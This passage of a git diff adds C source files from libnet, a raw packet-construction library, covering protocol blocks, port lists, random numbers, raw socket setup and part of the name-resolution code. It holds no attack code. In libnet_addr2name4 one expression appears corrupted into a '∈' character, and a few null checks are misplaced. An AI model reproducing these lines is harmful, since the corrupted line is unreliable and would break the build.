OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_pblock_t * +libnet_pblock_probe(libnet_t *l, libnet_ptag_t ptag, u_int32_t n, u_int8_t type) +{ + int offset; + libnet_pblock_t *p; + + if (ptag == LIBNET_PTAG_INITIALIZER) + { + /* + * Create a new pblock and enough buffer space for the packet. + */ + p = libnet_pblock_new(l, n); + if (p == NULL) + { + /* err msg set in libnet_pblock_new() */ + return (NULL); + } + } + else + { + /* + * Update this pblock, don't create a new one. Note that if the + * new packet size is larger than the old one we will do a malloc. + */ + p = libnet_pblock_find(l, ptag); + + if (p == NULL) + { + /* err msg set in libnet_pblock_find() */ + return (NULL); + } + if (p->type != type) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): ptag refers to different type than expected (0x%x != 0x%x)", + __func__, p->type, type); + return (NULL); + } + /* + * If size is greater than the original block of memory, we need + * to malloc more memory. Should we use realloc? + */ + if (n > p->b_len) + { + offset = n - p->b_len; /* how many bytes larger new pblock is */ + free(p->buf); + p->buf = malloc(n); + if (p->buf == NULL) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): can't resize pblock buffer: %s\n", __func__, + strerror(errno)); + return (NULL); + } + memset(p->buf, 0, n); + p->h_len += offset; /* new length for checksums */ + p->b_len = n; /* new buf len */ + l->total_size += offset; + } + else + { + offset = p->b_len - n; + p->h_len -= offset; /* new length for checksums */ + p->b_len = n; /* new buf len */ + l->total_size -= offset; + } + p->copied = 0; /* reset copied counter */ + } + return (p); +} + +libnet_pblock_t * +libnet_pblock_new(libnet_t *l, u_int32_t size) +{ + libnet_pblock_t *p; + /* + * Should we do error checking the size of the pblock here, or + * should we rely on the underlying operating system to complain when + * the user tries to write some ridiculously huge packet? + */ + + /* make the head node if it doesn't exist */ + if (l->protocol_blocks == NULL) + { + p = l->protocol_blocks = malloc(sizeof (libnet_pblock_t)); + if (p == NULL) + { + goto bad; + } + memset(p, 0, sizeof (libnet_pblock_t)); + } + else + { + p = l->pblock_end; + p->next = malloc(sizeof (libnet_pblock_t)); + + if (p->next == NULL) + { + goto bad; + } + memset(p->next, 0, sizeof (libnet_pblock_t)); + p->next->prev = p; + p = p->next; + } + + p->buf = malloc(size); + if (p->buf == NULL) + { + free(p); + p = NULL; + goto bad; + } + memset(p->buf, 0, size); + p->b_len = size; + l->total_size += size; + l->n_pblocks++; + return (p); + + bad: + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): malloc(): %s\n", __func__, + strerror(errno)); + return (NULL); +} + +int +libnet_pblock_swap(libnet_t *l, libnet_ptag_t ptag1, libnet_ptag_t ptag2) +{ + libnet_pblock_t *p1, *p2; + + p1 = libnet_pblock_find(l, ptag1); + p2 = libnet_pblock_find(l, ptag2); + if (p1 == NULL || p2 == NULL) + { + /* error set elsewhere */ + return (-1); + } + + p2->prev = p1->prev; + p1->next = p2->next; + p2->next = p1; + p1->prev = p2; + + if (p1->next) + { + p1->next->prev = p1; + } + + if (p2->prev) + { + p2->prev->next = p2; + } + else + { + /* first node on the list */ + l->protocol_blocks = p2; + } + + if (l->pblock_end == p2) + { + l->pblock_end = p1; + } + return (1); +} + +int +libnet_pblock_insert_before(libnet_t *l, libnet_ptag_t ptag1, + libnet_ptag_t ptag2) +{ + libnet_pblock_t *p1, *p2; + + p1 = libnet_pblock_find(l, ptag1); + p2 = libnet_pblock_find(l, ptag2); + if (p1 == NULL || p2 == NULL) + { + /* error set elsewhere */ + return (-1); + } + + p2->prev = p1->prev; + p2->next = p1; + p1->prev = p2; + + if (p2->prev) + { + p2->prev->next = p2; + } + else + { + /* first node on the list */ + l->protocol_blocks = p2; + } + + return (1); +} + +libnet_pblock_t * +libnet_pblock_find(libnet_t *l, libnet_ptag_t ptag) +{ + libnet_pblock_t *p; + + for (p = l->protocol_blocks; p; p = p->next) + { + if (p->ptag == ptag) + { + return (p); + } + } + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): couldn't find protocol block\n", __func__); + return (NULL); +} + +int +libnet_pblock_append(libnet_t *l, libnet_pblock_t *p, u_int8_t *buf, + u_int32_t len) +{ + if (p->copied + len > p->b_len) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): memcpy would overflow buffer\n", __func__); + return (-1); + } + memcpy(p->buf + p->copied, buf, len); + p->copied += len; + return (1); +} + +void +libnet_pblock_setflags(libnet_pblock_t *p, u_int8_t flags) +{ + p->flags = flags; +} + +libnet_ptag_t +libnet_pblock_update(libnet_t *l, libnet_pblock_t *p, u_int32_t h, +u_int8_t type) +{ + p->type = type; + p->ptag = ++(l->ptag_state); + p->h_len = h; + l->pblock_end = p; /* point end of pblock list here */ + + return (p->ptag); +} + +int +libnet_pblock_coalesce(libnet_t *l, u_int8_t **packet, u_int32_t *size) +{ + libnet_pblock_t *p, *q; + u_int32_t c, n; + + /* + * Determine the offset required to keep memory aligned (strict + * architectures like solaris enforce this, but's a good practice + * either way). This is only required on the link layer with the + * 14 byte ethernet offset (others are similarly unkind). + */ + if (l->injection_type == LIBNET_LINK || + l->injection_type == LIBNET_LINK_ADV) + { + /* 8 byte alignment should work */ + l->aligner = 8 - (l->link_offset % 8); + } + else + { + l->aligner = 0; + } + + *packet = malloc(l->aligner + l->total_size); + if (*packet == NULL) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): malloc(): %s\n", + __func__, strerror(errno)); + return (-1); + } + + memset(*packet, 0, l->aligner + l->total_size); + + if (l->injection_type == LIBNET_RAW4 && + l->pblock_end->type == LIBNET_PBLOCK_IPV4_H) + { + libnet_pblock_setflags(l->pblock_end, LIBNET_PBLOCK_DO_CHECKSUM); + } + + /* additional sanity checks to perform if we're not in advanced mode */ + if (!(l->injection_type & LIBNET_ADV_MASK)) + { + switch (l->injection_type) + { + case LIBNET_LINK: + if ((l->pblock_end->type != LIBNET_PBLOCK_TOKEN_RING_H) && + (l->pblock_end->type != LIBNET_PBLOCK_FDDI_H) && + (l->pblock_end->type != LIBNET_PBLOCK_ETH_H) && + (l->pblock_end->type != LIBNET_PBLOCK_802_1Q_H) && + (l->pblock_end->type != LIBNET_PBLOCK_ISL_H) && + (l->pblock_end->type != LIBNET_PBLOCK_802_3_H)) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): packet assembly cannot find a layer 2 header\n", + __func__); + return (-1); + } + break; + case LIBNET_RAW4: + if ((l->pblock_end->type != LIBNET_PBLOCK_IPV4_H)) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): packet assembly cannot find an IPv4 header\n", + __func__); + return (-1); + } + break; + case LIBNET_RAW6: + if ((l->pblock_end->type != LIBNET_PBLOCK_IPV6_H)) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): packet assembly cannot find an IPv6 header\n", + __func__); + return (-1); + } + break; + default: + /* we should not end up here ever */ + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): suddenly the dungeon collapses -- you die\n", + __func__); + return (-1); + break; + } + } + + q = NULL; + for (n = l->aligner + l->total_size, p = l->protocol_blocks; p || q; ) + { + if (q) + { + p = p->next; + } + if (p) + { + n -= p->b_len; + /* copy over the packet chunk */ + memcpy(*packet + n, p->buf, p->b_len); + } + if (q) + { + if (p == NULL || ((p->flags) & LIBNET_PBLOCK_DO_CHECKSUM)) + { + if ((q->flags) & LIBNET_PBLOCK_DO_CHECKSUM) + { + int offset = (l->total_size + l->aligner) - q->ip_offset; + c = libnet_do_checksum(l, *packet + offset, + libnet_pblock_p2p(q->type), q->h_len); + if (c == -1) + { + /* err msg set in libnet_do_checksum() */ + return (-1); + } + } + q = p; + } + } + else + { + q = p; + } + } + *size = l->aligner + l->total_size; + + /* + * Set the packet pointer to the true beginning of the packet and set + * the size for transmission. + */ + if ((l->injection_type == LIBNET_LINK || + l->injection_type == LIBNET_LINK_ADV) && l->aligner) + { + *packet += l->aligner; + *size -= l->aligner; + } + return (1); +} + +void +libnet_pblock_delete(libnet_t *l, libnet_pblock_t *p) +{ + if (p) + { + l->total_size -= p->b_len; + l->n_pblocks--; + if (p->prev) + { + p->prev->next = p->next; + } + else + { + l->protocol_blocks = p->next; + } + + if (p->next) + { + p->next->prev = p->prev; + } + else + { + l->pblock_end = p->prev; + } + + if (p->buf) + { + free(p->buf); + } + + free(p); + p = NULL; + } +} + +int +libnet_pblock_p2p(u_int8_t type) +{ + /* for checksum; return the protocol number given a pblock type*/ + switch (type) + { + case LIBNET_PBLOCK_CDP_H: + return (LIBNET_PROTO_CDP); + case LIBNET_PBLOCK_ICMPV4_H: + case LIBNET_PBLOCK_ICMPV4_ECHO_H: + case LIBNET_PBLOCK_ICMPV4_MASK_H: + case LIBNET_PBLOCK_ICMPV4_UNREACH_H: + case LIBNET_PBLOCK_ICMPV4_TIMXCEED_H: + case LIBNET_PBLOCK_ICMPV4_REDIRECT_H: + case LIBNET_PBLOCK_ICMPV4_TS_H: + return (IPPROTO_ICMP); + case LIBNET_PBLOCK_IGMP_H: + return (IPPROTO_IGMP); + case LIBNET_PBLOCK_IPV4_H: + return (IPPROTO_IP); + case LIBNET_ISL_H: + return (LIBNET_PROTO_ISL); + case LIBNET_PBLOCK_OSPF_H: + return (IPPROTO_OSPF); + case LIBNET_PBLOCK_LS_RTR_H: + return (IPPROTO_OSPF_LSA); + case LIBNET_PBLOCK_TCP_H: + return (IPPROTO_TCP); + case LIBNET_PBLOCK_UDP_H: + return (IPPROTO_UDP); + case LIBNET_PBLOCK_VRRP_H: + return (IPPROTO_VRRP); + case LIBNET_PBLOCK_GRE_H: + return (IPPROTO_GRE); + default: + return (-1); + } +} + +void +libnet_pblock_record_ip_offset(libnet_t *l, u_int32_t offset) +{ + libnet_pblock_t *p = l->pblock_end; + + do + { + p->ip_offset = offset; + p = p->prev; + } while (p && p->type != LIBNET_PBLOCK_IPV4_H); +} + + +/* EOF */ diff --git a/libnet/src/libnet_port_list.c b/libnet/src/libnet_port_list.c new file mode 100644 index 0000000..5c3a295 --- /dev/null +++ b/libnet/src/libnet_port_list.c @@ -0,0 +1,295 @@ +/* + * $Id: libnet_port_list.c,v 1.10 2004/01/28 19:45:00 mike Exp $ + * + * libnet + * libnet_port_list.c - transport layer port list chaining code + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +u_int16_t *all_lists; + +int +libnet_plist_chain_new(libnet_t *l, libnet_plist_t **plist, char *token_list) +{ + int8_t libnet_plist_legal_tokens[] = "0123456789,- "; + libnet_plist_t *tmp; + int8_t *tok; + int i, j, valid_token, cur_node; + u_int16_t *all_lists_tmp; + static u_int8_t cur_id; + + if (l == NULL) + { + return (-1); + } + + if (token_list == NULL) + { + return (-1); + } + + /* + * Make sure we have legal tokens. + */ + for (i = 0; token_list[i]; i++) + { + for (j = 0, valid_token = 0; libnet_plist_legal_tokens[j]; j++) + { + if (libnet_plist_legal_tokens[j] == token_list[i]) + { + valid_token = 1; + break; + } + } + if (!valid_token) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "libnet_build_plist_chain: illegal token # %d (%c)\n", + i + 1, + token_list[i]); + *plist = NULL; + return (-1); + } + } + + /* head node */ + *plist = malloc(sizeof (libnet_plist_t)); + + if (!(*plist)) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "libnet_build_plist_chain: malloc %s\n", strerror(errno)); + *plist = NULL; + return (-1); + } + + tmp = *plist; + tmp->node = cur_node = 0; + tmp->next = NULL; + tmp->id = cur_id; + all_lists_tmp = all_lists; + all_lists = realloc(all_lists_tmp, (sizeof(u_int16_t) * (cur_id + 1))); + if (!all_lists) + { + all_lists = all_lists_tmp; + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "libnet_build_plist_chain: realloc %s\n", strerror(errno)); + *plist = NULL; + return(-1); + } + + all_lists[cur_id++] = 0; + + /* + * Using strtok successively proved problematic. We solve this by + * calling it once, then manually extracting the elements from the token. + * In the case of bport > eport, we swap them. + */ + for (i = 0; (tok = strtok(!i ? token_list : NULL, ",")); i = 1, cur_node++) + { + /* + * The first iteration we will have a head node allocated so we don't + * need to malloc(). + */ + if (i) + { + tmp->next = malloc(sizeof (libnet_plist_t)); + if (!tmp) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "libnet_build_plist_chain: malloc %s\n", strerror(errno)); + /* + * XXX - potential memory leak if other nodes are allocated + * but not freed. + */ + *plist = NULL; + return(-1); + } + tmp = tmp->next; + tmp->node = cur_node; + tmp->next = NULL; + } + tmp->bport = atoi(tok); + + /* + * Step past this port number. + */ + j = 0; + while (isdigit((int)tok[j])) + { + j++; + } + + /* + * If we have a delimiting dash and are NOT at the end of the token + * array, we can assume it's the end port, otherwise if we just have + * a dash, we consider it int16_thand for `inclusive of all ports up to + * 65535. Finally, if we have no dash, we assume this token is a + * single port only. + */ + if (tok[j] == '-') + { + tmp->eport = (++j != strlen(tok)) ? atoi(&tok[j]) : 65535; + } + else + { + tmp->eport = tmp->bport; + } + + /* + * Do we need to swap the values? + */ + if (tmp->bport > tmp->eport) + { + tmp->bport ^= tmp->eport; + tmp->eport ^= tmp->bport; + tmp->bport ^= tmp->eport; + } + } + + /* + * The head node needs to hold the total node count. + */ + (*plist)->node = cur_node; + return (1); +} + +int +libnet_plist_chain_next_pair(libnet_plist_t *plist, u_int16_t *bport, + u_int16_t *eport) +{ + u_int16_t *node_cnt; + u_int16_t tmp_cnt; + + node_cnt = &(all_lists[plist->id]); + if (plist == NULL) + { + return (-1); + } + + /* + * We are at the end of the list. + */ + if (*node_cnt == plist->node) + { + *node_cnt = 0; + *bport = 0; + *eport = 0; + return (0); + } + + for (tmp_cnt = *node_cnt; tmp_cnt; tmp_cnt--, plist = plist->next) ; + *bport = plist->bport; + *eport = plist->eport; + *node_cnt += 1; + return (1); +} + +int +libnet_plist_chain_dump(libnet_plist_t *plist) +{ + if (plist == NULL) + { + return (-1); + } + + for (; plist; plist = plist->next) + { + if (plist->bport == plist->eport) + { + fprintf(stdout, "%d ", plist->bport); + } + else + { + fprintf(stdout, "%d-%d ", plist->bport, plist->eport); + } + } + fprintf(stdout, "\n"); + return (1); +} + +char * +libnet_plist_chain_dump_string(libnet_plist_t *plist) +{ + char buf[BUFSIZ] = {0}; + int i, j; + + if (plist == NULL) + { + return (NULL); + } + + for (i = 0, j = 0; plist; plist = plist->next) + { + if (plist->bport == plist->eport) + { + i = snprintf(&buf[j], BUFSIZ, "%d", plist->bport); + } + else + { + i = snprintf(&buf[j], BUFSIZ, "%d-%d", plist->bport, plist->eport); + } + j += i; + if (plist->next) + { + snprintf(&buf[j++], BUFSIZ, ","); + } + } + return (strdup(buf)); /* XXX - reentrancy == no */ +} + +int +libnet_plist_chain_free(libnet_plist_t *plist) +{ + u_int16_t i; + libnet_plist_t *tmp; + + if (plist == NULL) + { + return (-1); + } + + for (i = plist->node; i; i--) + { + tmp = plist; + plist = plist->next; + free(tmp); + } + plist = NULL; + return (1); +} + +/* EOF */ diff --git a/libnet/src/libnet_prand.c b/libnet/src/libnet_prand.c new file mode 100644 index 0000000..ceeedd9 --- /dev/null +++ b/libnet/src/libnet_prand.c @@ -0,0 +1,106 @@ +/* + * $Id: libnet_prand.c,v 1.7 2004/01/28 19:45:00 mike Exp $ + * + * libnet + * libnet_prand.c - pseudo-random number generation + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif +int +libnet_seed_prand(libnet_t *l) +{ + #if !(__WIN32__) + struct timeval seed; + #endif + + if (l == NULL) + { + return (-1); + } + + #if __WIN32__ + srand((unsigned)time(NULL)); + #else + if (gettimeofday(&seed, NULL) == -1) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): cannot gettimeofday\n", __func__); + return (-1); + } + + /* + * More entropy then just seeding with time(2). + */ + srandom((unsigned)(seed.tv_sec ^ seed.tv_usec)); + #endif + return (1); +} + + +u_int32_t +libnet_get_prand(int mod) +{ + u_int32_t n; /* 0 to 4,294,967,295 */ +#ifndef _WIN32 + n = random(); +#else + HCRYPTPROV hProv = 0; + CryptAcquireContext(&hProv, + 0, 0, PROV_RSA_FULL, + CRYPT_VERIFYCONTEXT); + + CryptGenRandom(hProv, + sizeof(n), (BYTE*)&n); + CryptReleaseContext(hProv, 0); +#endif + switch (mod) + { + case LIBNET_PR2: + return (n % 0x2); /* 0 - 1 */ + case LIBNET_PR8: + return (n % 0xff); /* 0 - 255 */ + case LIBNET_PR16: + return (n % 0x7fff); /* 0 - 32767 */ + case LIBNET_PRu16: + return (n % 0xffff); /* 0 - 65535 */ + case LIBNET_PR32: + return (n % 0x7fffffff); /* 0 - 2147483647 */ + case LIBNET_PRu32: + return (n); /* 0 - 4294967295 */ + } + return (0); /* NOTTREACHED */ +} + +/* EOF */ diff --git a/libnet/src/libnet_raw.c b/libnet/src/libnet_raw.c new file mode 100644 index 0000000..319ee79 --- /dev/null +++ b/libnet/src/libnet_raw.c @@ -0,0 +1,257 @@ +/* + * $Id: libnet_raw.c,v 1.9 2004/02/18 18:19:00 mike Exp $ + * + * libnet + * libnet_raw.c - raw sockets routines + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +#if defined (__WIN32__) +int +libnet_open_raw4(libnet_t *l) +{ + return (libnet_open_link(l)); +} + +int +libnet_open_raw6(libnet_t *l) +{ + return (libnet_open_link(l)); +} + +int +libnet_close_raw4(libnet_t *l) +{ + return (libnet_close_link_interface(l)); +} + +int +libnet_close_raw6(libnet_t *l) +{ + return (libnet_close_link_interface(l)); +} +#else +int +libnet_open_raw4(libnet_t *l) +{ + int len; + +#if !(__WIN32__) + int n = 1; +#if (__svr4__) + void *nptr = &n; +#else + int *nptr = &n; +#endif /* __svr4__ */ +#else + BOOL n; +#endif + + if (l == NULL) + { + return (-1); + } + + l->fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); + if (l->fd == -1) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): SOCK_RAW allocation failed: %s\n", + __func__, strerror(errno)); + goto bad; + } + +#ifdef IP_HDRINCL +/* + * man raw + * + * The IPv4 layer generates an IP header when sending a packet unless + * the IP_HDRINCL socket option is enabled on the socket. When it + * is enabled, the packet must contain an IP header. For + * receiving the IP header is always included in the packet. + */ +#if !(__WIN32__) + if (setsockopt(l->fd, IPPROTO_IP, IP_HDRINCL, nptr, sizeof(n)) == -1) +#else + n = TRUE; + if (setsockopt(l->fd, IPPROTO_IP, IP_HDRINCL, (int8_t *)&n, + sizeof(n)) == -1) +#endif + + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): set IP_HDRINCL failed: %s\n", + __func__, strerror(errno)); + goto bad; + } +#endif /* IP_HDRINCL */ + +#ifdef SO_SNDBUF + +/* + * man 7 socket + * + * Sets and gets the maximum socket send buffer in bytes. + * + * Taken from libdnet by Dug Song + */ + len = sizeof(n); + if (getsockopt(l->fd, SOL_SOCKET, SO_SNDBUF, &n, &len) < 0) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): get SO_SNDBUF failed: %s\n", + __func__, strerror(errno)); + goto bad; + } + + for (n += 128; n < 1048576; n += 128) + { + if (setsockopt(l->fd, SOL_SOCKET, SO_SNDBUF, &n, len) < 0) + { + if (errno == ENOBUFS) + { + break; + } + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): set SO_SNDBUF failed: %s\n", + __func__, strerror(errno)); + goto bad; + } + } +#endif + +#ifdef SO_BROADCAST +/* + * man 7 socket + * + * Set or get the broadcast flag. When enabled, datagram sockets + * receive packets sent to a broadcast address and they are allowed + * to send packets to a broadcast address. This option has no + * effect on stream-oriented sockets. + */ + if (setsockopt(l->fd, SOL_SOCKET, SO_BROADCAST, nptr, sizeof(n)) == -1) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): set SO_BROADCAST failed: %s\n", + __func__, strerror(errno)); + goto bad; + } +#endif /* SO_BROADCAST */ + return (l->fd); + +bad: + return (-1); +} + + +int +libnet_close_raw4(libnet_t *l) +{ + if (l == NULL) + { + return (-1); + } + + return (close(l->fd)); +} + +#if ((defined HAVE_SOLARIS && !defined HAVE_SOLARIS_IPV6) || defined (__WIN32__)) +int libnet_open_raw6(libnet_t *l) +{ + return (-1); +} + +#else +int +libnet_open_raw6(libnet_t *l) +{ +#if !(__WIN32__) +#if (__svr4__) + int one = 1; + void *oneptr = &one; +#else +#if (__linux__) + int one = 1; + int *oneptr = &one; +#endif +#endif /* __svr4__ */ +#else + BOOL one; +#endif + +/* Solaris IPv6 stuff */ + + if (l == NULL) + { + return (-1); + } + + l->fd = socket(PF_INET6, SOCK_RAW, IPPROTO_RAW); + if (l->fd == -1) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): SOCK_RAW allocation failed: %s\n", __func__, + strerror(errno)); + goto bad; + } + +#if (__linux__) + if (setsockopt(l->fd, SOL_SOCKET, SO_BROADCAST, oneptr, sizeof(one)) == -1) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): set SO_BROADCAST failed: %s\n", __func__, + strerror(errno)); + goto bad; + } +#endif /* __linux__ */ + return (l->fd); + +bad: + return (-1); +} +#endif + +int +libnet_close_raw6(libnet_t *l) +{ + if (l == NULL) + { + return (-1); + } + return (close(l->fd)); +} +#endif +/* EOF */ diff --git a/libnet/src/libnet_resolve.c b/libnet/src/libnet_resolve.c new file mode 100644 index 0000000..1361c87 --- /dev/null +++ b/libnet/src/libnet_resolve.c @@ -0,0 +1,414 @@ +/* + * $Id: libnet_resolve.c,v 1.21 2004/11/09 07:05:07 mike Exp $ + * + * libnet + * libnet_resolve.c - various name resolution type routines + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +char * +libnet_addr2name4(u_int32_t in, u_int8_t use_name) +{ + #define HOSTNAME_SIZE 512 + static char hostname[HOSTNAME_SIZE+1], hostname2[HOSTNAME_SIZE+1]; + static u_int16_t which; + u_int8_t *p; + + struct hostent *host_ent = NULL; + struct in_addr addr; + + /* + * Swap to the other buffer. We swap static buffers to avoid having to + * pass in a int8_t *. This makes the code that calls this function more + * intuitive, but makes this function ugly. This function is seriously + * non-reentrant. For threaded applications (or for signal handler code) + * use host_lookup_r(). + */ + which++; + + if (use_name == LIBNET_RESOLVE) + { + addr.s_addr = in; + host_ent = gethostbyaddr((int8_t *)&addr, sizeof(struct in_addr), AF_INET); + /* if this fails, we silently ignore the error and move to plan b! */ + } + if (!host_ent) + { + + p = (u_int8_t *)∈ + snprintf(((which % 2) ? hostname : hostname2), HOSTNAME_SIZE, + "%d.%d.%d.%d", + (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255)); + } + else if (use_name == LIBNET_RESOLVE) + { + char *ptr = ((which % 2) ? hostname : hostname2); + strncpy(ptr, host_ent->h_name, HOSTNAME_SIZE); + ptr[HOSTNAME_SIZE] = '\0'; + + } + return (which % 2) ? (hostname) : (hostname2); +} + +void +libnet_addr2name4_r(u_int32_t in, u_int8_t use_name, char *hostname, + int hostname_len) +{ + u_int8_t *p; + struct hostent *host_ent = NULL; + 